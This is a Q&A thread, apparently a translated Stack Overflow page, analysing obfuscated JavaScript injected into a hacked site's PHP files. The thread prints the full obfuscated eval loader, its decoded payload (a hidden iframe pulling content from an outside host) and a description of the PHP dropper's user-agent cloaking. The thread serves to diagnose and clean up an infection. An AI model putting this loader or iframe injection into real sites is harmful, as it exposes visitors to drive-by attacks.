14

最近、複数のphpファイルが変更されたWebサイトの1つが攻撃されました。この変更により、ページの上部にjavascriptが挿入されましたが、base64ですべてをデコードした後、次のことに遭遇しました。続行する方法がわかりません。

誰かがこのようなことで何か経験がありますか、とにかく彼らが達成しようとしていたことを正確に理解することはありますか?

<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;573!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>

美化:

i = 0;
try {
    avasv = prototype;
} catch (z) {
    h = "harCode";
    f = ['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f65f79f75f56f58f79f79f79f56f4f66f69f69f65f63f68f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');
    v = "e" + "va";
}
if (v) e = window[v + "l"];
try {
    q = document.createElement("div");
    q.appendChild(q + "");
} catch (qwg) {
    w = f;
    s = [];
}
r = String;
z = ((e) ? h : "");
for (; 573 != i; i += 1) {
    j = i;
    if (e) s = s + r["fromC" + ((e) ? z : 12)](w[j] * 1 + 42);
}
if (v && e && r && z && h && s && f && v) e(s);
4

3 に答える 3

19

私はこのコードを見ました、それはちょっとクレイジーです。

で始まりますがtry{avasv = prototype;}、明らかに失敗します。次に、いくつかの変数を作成します。

fは数値の配列です(長さ573)。 zですharCode。終わりに向かって、があり"fromC" + ((e) ? z : 12)ます。これにより、 fromCharCodeString.fromCharCode)が作成されます。これは、数値の配列で使用されますf(各数値に追加42した後)。これにより、eval編集する文字列が作成されるようです。

それはevalこのように編集されます:

v = "e" + "va";
if (v) e = window[v + "l"];

ご覧eのとおり、、window['eval']または単にeval

したがって、置き換える場合:

if (v && e && r && z && h && s && f && v) e(s);

と:

if (v && e && r && z && h && s && f && v) console.log(s);

次に、このコードの目的が何であったかを確認できます。私はこれを行いました、そしてこれが出力されたものです:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://kyubdyyyb.lookin.at/?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://kyubdyyyb.lookin.at/?go=2');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

何なhttp://kyubdyyyb.lookin.at/?go=2のかわからないので、行かないことをお勧めします

ここには冗長なチェックがたくさんあるようです(たとえば、false(e) ? z : 12eなることはありません)。おそらく、コードをより混乱させるためだけです。

于 2012-05-18T18:55:20.620 に答える
10

これが直接の答えではないことは知っていますが、彼らがやりたかったことは達成されたようです。悪意のあることを行うために、Webサイトで実行される任意のスクリプトを挿入します。

「avasv=protocol」をグーグルで検索すると、基本的には大量の感染サイトが一覧表示されますが、悪意のない見た目のヒットがいくつかあることは、これがスクリプトアンパッカーであることを示しています。

彼らが達成しようとしていたことは重要なことではありません。彼らはそれを達成しました。彼らはあなたのウェブアプリに悪意のあるスクリプトを配置し、そこからあなたのサーバーとあなたの訪問者から機密データを盗むことができ、XmlHttpのおかげでそれを彼ら自身のウェブサーバーにポストバックします。重要なことは、より多くの訪問者が危険にさらされる前にどのようにクリーンアップするか、そして将来XSSとXSRFを防ぐためにどのようにコーディングするかです。

うまくいけば、ソース管理ができて、サイトを感染前の状態に戻すことができます。それがビジネスの順序#1になります。

聞いたことがない場合は、将来の発生を防ぐための優れた方法として、定期的にアクセスしてhttp://www.OWASP.orgで学習することを強くお勧めします。


最後に、サイトに機密データが含まれていない場合でも、顧客がサイトにログインすると、顧客を危険にさらすことになります。

JavaScriptは、ユーザー名とパスワードの組み合わせを収集するために使用される可能性があり、それを他のサイトに対して使用して、それらのサイトから顧客の情報を盗む可能性があります。(サイトのコーディング方法によって異なります)したがって、訪問者のクリーンアップと保護は、「メンテナンス」のためにサイトをシャットダウンすることを意味する場合でも、絶対にビジネス#1の順序です。

これが起こる最初の数回は陽気になります。

最後に、Googleの記事「私のサイトがハッキングされました。今は何ですか?」にいくつかの良いアドバイスがあります。

于 2012-05-18T18:51:29.463 に答える
2

私もこの生き物を手に入れましたが、avasv = protocolのような文字列を識別するためのgrepで結果が出ましたが、それらを削除しても感染が一掃されなかったため、しばらくの間困惑していました。OPを明確にするために、元々はもっと興味深いPHPを、通常はindex.phpファイルに挿入していることがわかりました。1行目にphpeval(base64_decode(...))が表示されます。

このコードが行うこと、そしてそれは些細なことなので再投稿することはしませんが、いくつかのphpを含むbase64文字列をデコードして評価します。そのコードの中には、感染しないブラウザ/ OSの組み合わせ(mac、linux、google chromeブラウザなど)の文字列を検索し、スパイダー/ボットを検索する基本的なUAチェッカーがあります。これは、特定のブラウザ/ OSコンボを調べたり、curl / wgetを使用したりしても、悪意のあるjavascriptが表示されない理由でもあります。リストされているUA文字列のいずれかが見つからない場合は、OPで表示されるスクリプトをデコードしてエコーします。これもbase64でエンコードされています。

したがって、ルート化するために実行したいのは、「eval(base64_decode(」」のgrepです。私が考えることができる関数の特定の組み合わせには正当な目的がないため、かなり迅速に追跡してワイプできるはずです。もちろん、元の感染ポイントが何であれ、それは修正されません。

于 2012-05-27T23:29:18.453 に答える